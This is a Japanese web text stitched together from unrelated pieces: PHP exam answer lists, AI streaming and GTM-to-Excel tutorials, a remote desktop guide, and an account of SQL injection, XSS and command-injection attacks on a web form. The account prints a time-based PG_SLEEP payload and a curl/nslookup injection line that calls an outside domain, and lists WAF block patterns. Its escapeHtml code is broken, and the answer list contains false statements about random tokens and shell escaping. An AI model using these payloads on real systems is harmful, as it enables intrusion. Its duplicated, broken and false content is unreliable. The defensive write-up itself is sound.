    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    AIアプリケーションにおけるストリーミング処理の実装

    はじめに

    生成AIを使用したアプリケーションでは、長文のレスポンスを処理する際にメモリ消費やタイムアウトの問題が発生することがあります。この記事では、ストリーミング処理を実装することで、これらの問題を解決する方法を解説します。

    ストリーミング処理とは

    ストリーミング処理は、大量のデータを小さな単位(チャンク)に分けて順次処理する方法です。従来の一括処理と比較して、以下のような利点があります:

    • メモリ使用量の削減
    • リアルタイムな処理が可能
    • 大規模データの効率的な処理

    実装例

    基本的なストリーミング処理

    // 従来の一括処理
    const response = await model.generateContent(prompt);
    const fullText = response.text();
    
    // ストリーミング処理
    const stream = await model.generateContentStream(prompt);
    for await (const chunk of stream.stream) {
        const partialText = chunk.text();
        // チャンク単位で処理
    }
    従来の処理 vs ストリーミング処理 従来の処理 Server Client Complete Response ストリーミング処理 Server Client

    主要な利点

    • メモリ効率:データを小さな単位で処理
    • リアルタイム性:データを受信次第処理可能
    • スケーラビリティ:大量データの効率的な処理
    ストリーミング処理の流れ 1 リクエスト 2 ストリーム開始 3 チャンク処理 4 完了 データストリーム

    エラーハンドリングの実装

    async function generateWithRetry(prompt, maxRetries = 3) {
        for (let i = 0; i < maxRetries; i++) {
            try {
                const stream = await model.generateContentStream(prompt);
                let response = '';
                
                for await (const chunk of stream.stream) {
                    response += chunk.text();
                }
                
                return response;
            } catch (error) {
                if (i === maxRetries - 1) throw error;
                await new Promise(resolve => 
                    setTimeout(resolve, 1000 * (i + 1))
                );
            }
        }
    }
    エラーハンドリングフロー チャンク1 チャンク2 エラー 再試行 エラー発生時の処理: 1. エラーを検出 2. 再試行メカニズムを起動

    フロントエンドとの連携

    // バックエンド(Express)
    app.post("/format", async (req, res) => {
        const stream = await model.generateContentStream(prompt);
        res.setHeader('Content-Type', 'text/plain');
        res.setHeader('Transfer-Encoding', 'chunked');
        
        for await (const chunk of stream.stream) {
            res.write(chunk.text());
        }
        res.end();
    });
    
    // フロントエンド
    const response = await fetch('/format', {
        method: 'POST',
        body: JSON.stringify({ prompt: userPrompt })
    });
    
    const reader = response.body.getReader();
    while (true) {
        const {done, value} = await reader.read();
        if (done) break;
        updateUI(new TextDecoder().decode(value));
    }

    実装のポイント

    チャンクサイズの最適化

    const CHUNK_SIZE = 1024; // 1KB単位
    let processedSize = 0;
    
    for await (const chunk of stream.stream) {
        processedSize += chunk.text().length;
        if (processedSize >= CHUNK_SIZE) {
            await processChunk();
            processedSize = 0;
        }
    }
    // バックエンド(Express)
    app.post("/format", async (req, res) => {
        const stream = await model.generateContentStream(prompt);
        
        res.setHeader('Content-Type', 'text/plain');
        res.setHeader('Transfer-Encoding', 'chunked');
        
        for await (const chunk of stream.stream) {
            res.write(chunk.text());
        }
        res.end();
    });
    
    // フロントエンド
    const response = await fetch('/format', {
        method: 'POST',
        body: JSON.stringify({ prompt: userPrompt })
    });
    
    const reader = response.body.getReader();
    let result = '';
    
    while (true) {
        const {done, value} = await reader.read();
        if (done) break;
        result += new TextDecoder().decode(value);
        updateUI(result); // UIをリアルタイムで更新
    }

    JavaScriptを使用してGTMのJSONファイルをExcelフォーマットに変換
    GTM JSONからExcelへの変換フロー GTM JSON {“container”:{ “tag”:[…] “trigger”:[…] “variable”:[…] }} JavaScript データ 変換処理 Excel タグ一覧 トリガー一覧 変数一覧 各シートにデータを整理して出力 タグ・トリガー・変数の関連付けを保持
    // GTM JSONをExcelに変換するスクリプト
    import * as XLSX from 'xlsx';
    
    class GTMExcelConverter {
        constructor(jsonData) {
            this.data = jsonData;
            this.workbook = XLSX.utils.book_new();
        }
    
        // タグ情報を処理
        processTags() {
            const tags = this.data.container.tag.map(tag => ({
                'タグ名': tag.name,
                'タグID': tag.tagId,
                'タグタイプ': tag.type,
                'トリガー': this.getTagTriggers(tag),
                'ステータス': tag.paused ? '停止' : '有効'
            }));
    
            const worksheet = XLSX.utils.json_to_sheet(tags);
            XLSX.utils.book_append_sheet(this.workbook, worksheet, 'タグ一覧');
        }
    
        // トリガー情報を処理
        processTriggers() {
            const triggers = this.data.container.trigger.map(trigger => ({
                'トリガー名': trigger.name,
                'トリガーID': trigger.triggerId,
                'トリガータイプ': trigger.type,
                'ステータス': trigger.paused ? '停止' : '有効'
            }));
    
            const worksheet = XLSX.utils.json_to_sheet(triggers);
            XLSX.utils.book_append_sheet(this.workbook, worksheet, 'トリガー一覧');
        }
    
        // 変数情報を処理
        processVariables() {
            const variables = this.data.container.variable.map(variable => ({
                '変数名': variable.name,
                '変数ID': variable.variableId,
                '変数タイプ': variable.type,
                'ステータス': variable.paused ? '停止' : '有効'
            }));
    
            const worksheet = XLSX.utils.json_to_sheet(variables);
            XLSX.utils.book_append_sheet(this.workbook, worksheet, '変数一覧');
        }
    
        // タグに紐付いているトリガーを取得
        getTagTriggers(tag) {
            if (!tag.triggerIds) return '';
            return tag.triggerIds.map(triggerId => {
                const trigger = this.data.container.trigger.find(t => t.triggerId === triggerId);
                return trigger ? trigger.name : triggerId;
            }).join(', ');
        }
    
        // Excelファイルを生成
        generateExcel(filename = 'gtm_container.xlsx') {
            this.processTags();
            this.processTriggers();
            this.processVariables();
            
            // スタイル設定
            this.workbook.Sheets['タグ一覧']['!cols'] = [
                { wch: 30 }, // タグ名
                { wch: 15 }, // タグID
                { wch: 20 }, // タグタイプ
                { wch: 40 }, // トリガー
                { wch: 10 }  // ステータス
            ];
    
            // Excelファイルを保存
            XLSX.writeFile(this.workbook, filename);
        }
    }
    
    // 使用例
    document.getElementById('fileInput').addEventListener('change', async (e) => {
        const file = e.target.files[0];
        const reader = new FileReader();
        
        reader.onload = (event) => {
            const jsonData = JSON.parse(event.target.result);
            const converter = new GTMExcelConverter(jsonData);
            converter.generateExcel();
        };
        
        reader.readAsText(file);
    });

    HTMLファイルにファイル選択用の入力フィールドを追加:

    <input type="file" id="fileInput" accept=".json" />

    必要なライブラリをインストール

    npm install xlsx

    このスクリプトの特徴:

    • GTMのJSONファイルを3つのシート(タグ一覧、トリガー一覧、変数一覧)に分けて出力
    • 各要素の関連付け(タグとトリガーの紐付けなど)を保持
    • 列幅の自動調整
    • ステータス(有効/停止)の表示

    制限事項:

    • ブラウザ環境での使用を想定(Node.jsで使用する場合は若干の修正が必要)
    • 大規模なGTMコンテナの場合、処理に時間がかかる可能性あり

    また、Node.js環境で使用する場合は、以下のように修正が必要です:

    const XLSX = require('xlsx');
    const fs = require('fs');
    
    // JSONファイルを読み込む
    const jsonData = JSON.parse(fs.readFileSync('GTM-XXXXX_workspace.json', 'utf8'));
    const converter = new GTMExcelConverter(jsonData);
    converter.generateExcel();

    https://www.mitsue.co.jp/knowledge/blog/marketing/202408/05_1028.html

    リモートデスクトップの活用と導入ガイド

    リモートデスクトップとは?

    リモートデスクトップとは、ネットワークを介して別のPC(ホスト)を遠隔操作できる仕組みを指します。自宅や外出先から会社のPCを操作する、IT管理者がサーバーにログインするといった用途でよく利用されます。

    • リモートワークの要:物理的にオフィスに行かなくても同じ作業環境を再現できる
    • セキュリティの向上:重要データを社内のPCやサーバーに集約しておくことで情報漏えいリスクを低減
    • ITコスト削減:端末管理が一元化されることで、運用・管理コストを最適化

    リモートデスクトップ 接続方法

    リモートデスクトップの具体的な接続方法は、大きく分けて以下のステップです。

    1. ホストPC・サーバーの設定
    • Windows標準機能や専用アプリで「リモート接続を有効にする」設定
    • ツールによってはPINやパスワードを設定
    1. ネットワーク環境の準備
    • 社内LANやVPNを利用し、外部からも安全にアクセスできるようにする
    • ポート開放が必要なケースもある
    1. クライアントの用意
    • Windows、Mac、Linux、スマホなど、使いたい端末にクライアントアプリや拡張機能をインストール
    • ブラウザ経由でアクセスできるサービスもある
    1. リモート接続開始
    • 接続先のPCのホスト名(IPアドレス)やアカウント情報を入力
    • 安全な通信環境(VPN、HTTPSなど)を推奨

    Chrome リモートデスクトップの特徴

    Chrome リモートデスクトップは、Googleが無料提供しているサービスで、Chromeブラウザの拡張機能として利用できます。

    • 導入のしやすさ
    • 拡張機能をインストールして、PINコードを設定するだけ
    • クロスプラットフォーム
    • Windows、Mac、Linux、Android、iOSなど、さまざまな端末・OSからアクセス可能
    • 利用シーン
    • 個人のPCにリモートでアクセスしたいとき
    • 家族や友人のPCサポートにも使いやすい

    Windows10で使うリモートデスクトップ

    Windows10(Proエディション以上)には、リモートデスクトップ機能が標準搭載されています。

    • ホストとしての設定
    • 「Windowsの設定」→「システム」→「リモート デスクトップ」から有効化
    • クライアントとしての接続
    • Windows標準の「リモートデスクトップ接続」アプリを使用
    • VPN環境
    • 社内ネットワーク外から接続する場合はVPNが推奨

    マイクの認識ができない場合

    https://qastack.jp/superuser/741435/how-to-enable-remote-microphone-on-remote-desktop

    https://note.raikiri.page/108/troubleshooting

    仮想デスクトップ(VDI)との比較

    仮想デスクトップ(VDI)は、クラウド上やオンプレミス環境に構築された仮想マシンへ接続する仕組みを指します。

    • 主なメリット
    • 端末にデータが残らず、セキュリティリスクを最小化
    • 一括管理がしやすく、ユーザー数や環境を柔軟に拡張可能
    • リモートデスクトップとの違い
    • リモートデスクトップ:特定の物理PCを遠隔操作
    • 仮想デスクトップ:仮想環境(デスクトップイメージ)を利用

    リモートデスクトップ サービスの選び方

    個人利用から企業利用まで、目的に合わせて選択肢が広がっています。以下のポイントを基準に検討してみてください。

    1. コスト
    • 無料:Chrome リモートデスクトップ
    • 有料:TeamViewer、AnyDesk、VDIサービスなど
    1. セキュリティ
    • VPNや多要素認証(MFA)対応など、求めるレベルに応じて選択
    1. 操作性・互換性
    • Windows/Macの両方で問題なく使えるか
    • スマホやタブレットからのアクセスが必要か
    1. 導入規模
    • 個人や小規模:Chromeリモートデスクトップ、Windows標準RDP
    • 大規模:仮想デスクトップ(VDI)やクラウド型リモートサービス
    【php8上級/準上級試験】模擬問題解説 問題12. list() iterable

    「第1回 PHP 8 上級 模擬試験」を解説していきます

    本記事ではひたすら下記記事の模擬試験の解説をしていきたいと思います!

    第1回 PHP 8 上級 模擬試験
    https://study.prime-strategy.co.jp/study/ph8ex1/

    解説記事一覧

    模擬問題 12

    PHP 7.0.x から PHP 7.1.x への移行 に関する説明の中で、誤っているものを1つ選びなさい。
    なお、すべてのコードの先頭には下記のコードが書かれているものとする。

    declare(strict_types=1);
    error_reporting(-1);

    配列の短縮構文 ([]) を使って、 代入用に配列の値を取り出せるようになった。
    これは、list() の代替として使う事ができる(list() が無くなったわけではない)。そのため、以下のコード

    $data = [
        [1, 2],
        [777, 999],
    ];
    
    list($i, $j) = $data[0];
    var_dump($i, $j);
    [$i, $j] = $data[1];
    var_dump($i, $j);

    は正しく実行でき、結果は次のとおりとなる。

    int(1)
    int(2)
    int(777)
    int(999)

    list()

    list() は、配列から複数の値を取り出して、複数の変数に一度に代入するためのPHPの組み込み構文です。たとえば、以下のように使います。

    $data = [1, 2];
    list($a, $b) = $data;
    // $a は 1、$b は 2 になります。

    ポイント

    • PHP 7.1 から、短い構文 ([]) を使った配列の値の代入(分割代入)ができるようになりました。
    • これは list() の代替として使えますが、list() が廃止されたわけではなく、依然として利用可能です。
    • コード例も正しく動作し、期待通りの結果が得られます。

    配列の分割代入とは

    配列の分割代入とは、配列の各要素を一度に複数の変数に代入する方法です。
    PHP 7.1 以降では、従来の list() を使う方法に代わり、よりシンプルな短縮構文 ([]) で記述できるようになりました。

    たとえば、

    [$a, $b] = [1, 2];
    
    // $a には 1、$b には 2 が代入されます

    従って、この説明に誤りはありません。内容は⭕です

    新しい擬似型 (callable と同じような型) である iterable が導入された。パラメータおよび返り値の型指定で使うことができ、「配列か、あるいは Traversable インターフェイスを実装したオブジェクトを受け付ける」ようになる。そのため、以下のコード

    function hoge(iterable $itr) {
        var_dump($itr);
    }
    
    hoge([1, 2]);
    hoge(new ArrayObject());

    は正しく実行でき、結果は次のとおりとなる。

    array(2) {
      [0]=>
      int(1)
      [1]=>
      int(2)
    }
    object(ArrayObject)#1 (1) {
      ["storage":"ArrayObject":private]=>
      array(0) {
      }
    }

    一方で以下のコード

    function hoge(iterable $itr) {
        var_dump($itr);
    }
    
    $obj = new stdClass();
    $obj->s = 'string';
    $obj->i = 999;
    hoge($obj);

    を実行すると、結果は次のとおりとなる。

    Fatal error: Uncaught TypeError: Argument 1 passed to hoge() must be iterable, object given, called in …

    iterable 型ヒント

    「iterable 型ヒント」とは、PHPで関数やメソッドの引数に指定する型の宣言のひとつです。
    具体的には、iterable を使うことで、その引数に 配列 と Traversable インターフェイスを実装したオブジェクト のどちらかが渡されることを期待する、という意味になります。

    ここでの「型ヒント」とは、

    関数やメソッドのパラメータ、戻り値、プロパティなどに、どのような型の値が使用されるべきかを明示的に指定する仕組み
    のことを指します。

    数値形式ではない文字列を使って、数値を期待する演算 (+, -, *, /, **, %, <<, >>, |, &, ^ や、これらを用いた代入演算) を行おうとしたときに、 E_WARNING あるいは E_NOTICE レベルのエラーが発生するようになった。そのため、以下のコード

    $i = '11' + '22';
    var_dump($i);

    は正しく実行でき、結果は次のとおりとなる。

    int(33)

    一方で以下のコード

    $i = '11' + 'a';
    var_dump($i);

    を実行すると、結果は次のとおりとなる。

    Warning: A non-numeric value encountered in ...
    int(11)

    PHPは「動的型付け言語」

    PHPは「動的型付け言語」と呼ばれ、変数の型を明示的に宣言する必要がありません。そのため、PHPは文脈に応じて自動的に値の型を変換(型変換、または「型ジャグリング」と呼ばれます)します。

    PHPの動的型付け $age = “25” (文字列型) $age = $age + 5 (数値型に自動変換) 実行時に必要に応じて 変数の型が自動的に変換されます

    問題文の場合'11''22' のように、文字列全体が数字で構成されている場合、PHPはこれを数値 1122 に変換します。

    ⬇️

    結果、'11' + '22'11 + 22 と同じ意味になり、結果は 33 となります。

    また’a’ のように、先頭が数字でない文字列の場合、PHPはこれを数値の 0 として扱います。

    ただし、PHPのバージョン(PHP 8.1以降など)によっては、このような変換が行われる際に、E_WARNING(または E_NOTICE)レベルの警告が発生することがあります。

    よって選択肢の内容は正しい⭕です

    文字列操作関数 のうちオフセット指定のできるものすべてについて、負のオフセットを指定できるようになった。
    [] や {} による 文字列への文字単位のアクセス についても同様となり、負のオフセットは、文字列の末尾からのオフセットと解釈される。
    負の値を渡した場合、-0 が「文字列の末尾」となる。そのため、以下のコード

    $s = 'abcdefg';
    var_dump( $s[-1] );

    は正しく実行でき、結果は次のとおりとなる。

    string(1) "f"

    負のオフセット(基準からの数えて何番目か)

    PHP 7.1以降、文字列アクセス時に負のオフセット指定がサポートされました。ドキュメントによると「負のオフセットは文字列の末尾を起点とする」ため、

    • -1 は「末尾から1文字目」すなわち 最後の文字 を指します
    • -2 は「末尾から2文字目」なので、最後から二番目の文字を指します
    • -00 は数値的に同一視されるため、$s[-0]$s[0] と同じ扱いになります。つまり先頭の 'a' が返ります。
    文字列: “abcdefg” (長さ 7) a 0 -7 b 1 -6 c 2 -5 d 3 -4 e 4 -3 f 5 -2 g 6 -1

    よって問題文は

    var_dump( $s[-1] );は “f” ではなく “g” となり内容は誤り❌です

    問題番号正解の選択肢
    1PHPの「最新以外の(古い)コード」は、公式サイトでの提供は全くしていない。そのため、古いバージョンのコードが必要な場合、別途「非公式の外部サイト」からソースコードを入手する必要がある。
    2論理型 (boolean) は「真偽値」とも呼ばれ、値は true か false か null のいずれかになる。なお、true、false、null の文字は、大文字でも小文字でもよい。
    3抽象クラスから継承する際、親クラスで abstract としてマークされた全てのメソッドは子クラスで定義する必要があり、可視性は同等(またはより緩い制約)で、必須引数の数は同じであれば型宣言が異なってもかまわない。
    4PHP において、デストラクタは __destruct() メソッドで実装される。親クラスのデストラクタは暗黙的に呼ばれ、呼び出し順序は「子クラスのデストラクタ → 親クラスのデストラクタ」となる。
    5__get() はアクセス不能(protected または private)または存在しないプロパティからデータを読み込む際に使用される。なお、__getStatic() は存在せず、オブジェクトや静的コンテキストで動作しない。
    6PHP のリファレンス渡しを使用すると、関数内で引数を修正できる。(※※正解テキストでは「呼び出す側で変数に & を付ける必要がある」と記載されています。)
    7名前空間は namespace キーワードで宣言する。通常はファイルの先頭に記述する必要があり、名前空間宣言前に書かれたクラスはその名前空間に含まれない。
    8PHP 5 では Exception クラスが全例外の基底クラスだったが、PHP 7 以降は Exception クラスは Throwable インタフェースを基底とし、Error クラスが内部エラーの基底クラスとして導入された。
    9ArrayAccess インターフェイスは、オブジェクトを配列としてアクセスするための機能を提供する。
    10SplFileInfo クラスは、ファイルの情報取得や操作を行うためのクラスである。
    11$_COOKIE は、HTTP クッキーから渡された値が連想配列として格納され、また設定も可能である。
    12PHP 7.1.x では、文字列操作関数で負のオフセット指定が可能となり、[] や {} による文字単位のアクセスも文字列の末尾からのオフセットとして解釈される。
    13可変変数は、スーパーグローバル変数にも使用できる。
    14PHP 7.4.x では、波括弧を使った配列や文字列のオフセットアクセスの文法は非推奨となった。
    15PHP 8 では、private メソッドの継承に関するルールが変更され、親クラスの同名メソッドの可視性に関係なく子クラスでオーバーライド可能となった。
    16break は、現在実行中の for, foreach, while, do-while, switch 構造の実行を終了し、オプションでネストしたループの何段分を抜けるか指定できる。
    17XSS 対策として、htmlentities() を適切に使用することで、文字列や配列の入力に対して安全な出力が可能となる。
    18アップロードされたファイルの元のファイル名は、$_FILES[‘{formのnameの値}’][‘name’] に格納され、move_uploaded_file() の第二引数として利用できる。
    19uniqid() と mt_rand() を組み合わせることで、暗号論的にランダムな(推測困難な)トークンを生成できる。
    20PHP のセッションでは、セッション ID がクッキーに保存され、session_set_cookie_params() によりそのクッキーのパラメータを設定できる。
    21PHP の変数の参照カウントは、xdebug_debug_zval() で確認でき、オブジェクトを clone した場合は内部的に参照が使われ、一時的に参照カウントが増加する。
    22DirectoryIterator クラスは、ディレクトリ内のファイルやサブディレクトリの情報を取得するシンプルなインターフェイスを提供する。
    23mail() 関数は、メールを送信するための関数で、第四引数で追加のヘッダー情報を指定できる。
    24escapeshellarg() と escapeshellcmd() は、外部入力をシェルコマンドの引数として使用する際に必要なエスケープ処理を行い、どちらを使用しても意味合いは同じである。
    25stream_wrapper_register() 関数を使用すると、新しいストリームラッパー(プロトコルハンドラ)を登録できるが、既に存在する場合は失敗する。
    26strpos() 関数は、文字列内で指定した部分文字列の最初の出現位置を返し、見つからなければ false を返す。ただし、先頭位置の場合は 0 が返るため注意が必要。
    27Phar のスタブには __HALT_COMPILER() が使用され、これ以降のコードはコンパイルされない。
    28function_exists() 関数は、指定された関数が定義されているかどうかをチェックし、存在すれば true を返す。
    29openssl_decrypt() 関数は、openssl_encrypt() で暗号化されたデータを正しく復号し、元のデータを取り戻す。
    30strtotime() 関数は、英語形式の日付文字列を Unix タイムスタンプに変換し、無効な日付の場合は false を返す。
    SQLインジェクションとXSS攻撃によるWebフォーム大量送信の対処方法と予防策 WAF

    本記事では、実際に発生したWebフォームへの大量攻撃事例を基に、攻撃の検知から対策までを詳しく解説します。

    SQLインジェクションとは

    入力欄を使って、データベースに不正な命令(SQLコマンド)を送り込む攻撃」です。

    SQLインジェクションとは? 正常なログイン処理 ユーザー入力 ID: yamada データベース検索 SELECT * FROM users WHERE id = ‘yamada’ SQLインジェクション攻撃 不正な入力 ‘ OR ‘1’=’1 不正なSQL実行 SELECT * FROM users WHERE id=” OR ‘1’=’1′

    SQLインジェクション攻撃のパターン

    検知された主な攻撃パターンには以下のようなものがありました:

    Time-based SQLインジェクション

    SQLインジェクション攻撃の中でも「Time-based SQLインジェクション」と呼ばれる典型的な攻撃パターンの一つです。

    下記が攻撃者に入力された内容です

    1-1 OR 222=(SELECT 222 FROM PG_SLEEP(15))--

    ⬇️これは下記を想定しています

    # Webサイトの裏で動いていそうなSQL
    SELECT * FROM users WHERE id = ○○
    
    # ○○の部分に攻撃コードを入れる
    SELECT * FROM users WHERE id = 1-1 OR 222=(SELECT 222 FROM PG_SLEEP(15))

    データベース検索の基本と攻撃の仕組み 1. 通常のデータベース検索 入力フォーム ユーザーID: 5 実行されるSQL SELECT * FROM users WHERE id = 5 2. 攻撃コードが入力された場合 入力フォーム 1-1 OR 222=… SELECT * FROM users WHERE id = 1-1 (結果: 0 → 失敗する検索) OR 222=(SELECT 222 FROM PG_SLEEP(15)) (15秒間の強制待機)

    < 詳しい内容 >

    Time-based SQLインジェクションの仕組み Step 1: カモフラージュ (1-1) • 正常なSQL条件のように見せかける • 結果は必ず0になる(無害な計算) Step 2: 比較処理 (222=SELECT 222) • データベースが応答するか確認 • エラーが出にくい数値(222)を使用 • 必ずTRUEになる比較で成功判定 Step 3: 遅延実行 (PG_SLEEP(15)) • データベースを15秒間強制的に待機 • 応答時間で攻撃の成功を確認 • 大量実行でサーバーに負荷をかける

    この攻撃は、PostgreSQLデータベースの時間ベース(Time-based)SQLインジェクションを試みるものです。

    プリペアドステートメントを使用すれば万事OKではない

    プリペアードステートメントとは

    PDOというPHP標準のDB接続&操作クラスがあります

    そのクラスの中のメソッドの一つにprepare()があります。

    prepare() の返り値が PDOStatement オブジェクトつまり、「プリペアドステートメントを表すオブジェクト」そのものになります。

    1. prepareメソッドでSQLの構造(型)だけをデータベースに送る
    2. execute() → そのテンプレに「実際の値」を埋めて使う

    ▼ サンプルコード

    $pdo = new PDO('mysql:host=localhost;dbname=test', 'user', 'pass');
    
    // ★ ここがプリペアドステートメントの「準備」
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
    
    // ★ ここで値を差し込んで実行(安全!)
    $stmt->execute(['id' => 1]);
    
    $user = $stmt->fetch();

    PDO接続時に静的プレースホルダーを使用するとリスクが残らない

    用語意味安全性
    静的プレースホルダーSQL構文だけをDBに送り、あとから値をバインド✅ 安全
    エミュレートプレースホルダーPHPが文字列でSQLを組み立てて送る❌ 危険あり
    対策PDO::ATTR_EMULATE_PREPARES => false を設定する!✅ 必須!

    https://www.php.net/manual/ja/book.pdo.php

    XSSスキャンの特徴

    攻撃者は以下のような形式でXSS攻撃も試みていました:

    XXSの準備

    下記は本格的なXSS攻撃ではなく、「脆弱性の探り」の段階です。

    "+response.write(計算式)+"
    探索段階(スキャン) “+response.write( 123*456 )+” 目的:脆弱性の確認のみ ・単純な計算実行 ・実害なし 実際の攻撃(ペイロード) <script> 悪意のあるコード実行 </script> 目的:実際の攻撃実行 ・情報窃取 ・具体的な被害あり 今回検出されたのは「探索段階」のコード 実際の攻撃(ペイロード)ではない

    これは、JavaScriptコードの実行を試みる典型的なXSS攻撃パターンです。

    自動化された攻撃の特徴

    • 連続的な送信パターン
    • 異なる攻撃手法の組み合わせ
    • テスト用データの使用(固定の電話番号やメールアドレス)

    コマンドインジェクション攻撃とは

    コマンドインジェクション攻撃は、Webアプリケーションを通じてサーバー上でシステムコマンドを不正に実行しようとする攻撃手法です。

    攻撃コードの例

    |(nslookup -q=cname example.test.domain||curl example.test.domain)1
    コマンドインジェクション攻撃の仕組み 攻撃コードの構造 | コマンド実行を可能にする nslookup -q=cname DNSサーバーへの問い合わせ curl 外部サーバーへの接続試行 攻撃の目的 1. サーバーでコマンドが実行可能か確認 2. 外部との通信が可能か検証 3. 攻撃の成功を確認(特殊なドメインを使用) 4. システムの脆弱性を探索

    の検知
    – サーバー側でのコマンド実行を試みる攻撃
    – DNSルックアップとcURLを使用した外部接続の試み
    – 攻撃検知用の特殊なドメイン(.bxss.me)の使用

    インフラへの影響と症状

    メールシステムへの影響

    • フォーム送信毎のメール通知による過負荷
    • メール転送システムのリソース枯渇
    • 正常なメール配信への影響

    サーバーリソースの消費

    • CPU使用率の急激な上昇
    • メモリリソースの枯渇
    • ディスクI/Oの増加

    セキュリティインシデントへの対応

    即時対応措置

    • 攻撃元IPアドレスのブロック
    • メール転送設定の一時停止
    • WAFルールの緊急適用

    WAF

    WAF(Web Application Firewall)はアプリケーション側の対策とは異なるレイヤーでの防御を提供します。

    • 不審なパターン(|、curl、nslookupなど)を含むリクエストを遮断
    • 特定のドメイン(.bxss.meなど)へのアクセスをブロック
    • 大量のリクエストを制限
    WAFとアプリケーションセキュリティの違い WAFでの防御 1. アプリケーションの手前で防御 2. パターンベースでの検知と遮断 3. リアルタイムでの防御ルール更新 4. トラフィックレベルでの制御 アプリケーションでの防御 1. 入力値の検証とサニタイズ 2. セッション管理とユーザー認証 3. ビジネスロジックに基づく制御 4. データベースセキュリティ 外部からの通信 WAF アプリケーション
    1. 一般的なWAF提供者:
    • クラウドプロバイダー(AWS WAF、Google Cloud Armorなど)
    • セキュリティベンダー(Cloudfareなど)
    • レンタルサーバー事業者
    • ホスティング事業者

    システム改善策

    • フォーム送信の回数制限実装
    • reCAPTCHAの導入
    • エラーハンドリングの改善

    予防的セキュリティ対策

    フォームセキュリティの強化

    // PreparedStatementの使用例
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$user_id]);

    XSS対策の実装

    // 入力値のエスケープ処理
    function escapeHtml(str) {
        return str
            .replace(/&/g, '&')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/"/g, '"')
            .replace(/'/g, ''');
    }

    監視と運用体制の構築

    ログ監視の重要性

    • リアルタイムのアクセスログ分析
    • 異常検知システムの導入
    • インシデントレスポンス手順の整備

    アラート設定

    • 急激なリソース使用率の上昇
    • 異常なフォーム送信パターン
    • データベースの応答時間の遅延
    Hidden Inputsを活用したWebフォームで

    こんにちは!今回は、ランディングページ(LP)でよく使用される「hidden inputs」を活用したWebフォーム実装について、実践的な観点から解説していきます。

    なぜhidden inputsが必要なのか?

    Webフォームを実装する際、ユーザーに直接入力してもらう項目(名前、メールアドレスなど)以外にも、様々な付加情報を収集する必要があります。例えば:

    • 広告効果測定のためのUTMパラメータ
    • ユーザー追跡用のクライアントID
    • Google広告のトラッキング情報(Xclid)
    • 初回流入ページ情報

    これらの情報は、マーケティング分析や顧客対応に重要ですが、ユーザーに入力を求める必要はありません。そこで活用されるのが「hidden inputs」です。

    Webフォームデータの流れ:概要 ブラウザ visible inputs: □ 名前 □ メール hidden inputs: ・utm_source ・クライアントID サーバー 1. データ受信 2. バリデーション 3. データ加工 4. 保存/転送 POST送信 ※ hidden inputsはユーザーには見えませんが、  フォーム送信時に重要なデータを送ることができます

    実装の基本的な流れ

    Step 1: フォームにhidden inputsを設置

    <form action="process.php" method="post">
        <!-- 通常の入力フィールド -->
        <input type="text" name="name" placeholder="お名前">
        <input type="email" name="email" placeholder="メールアドレス">
        
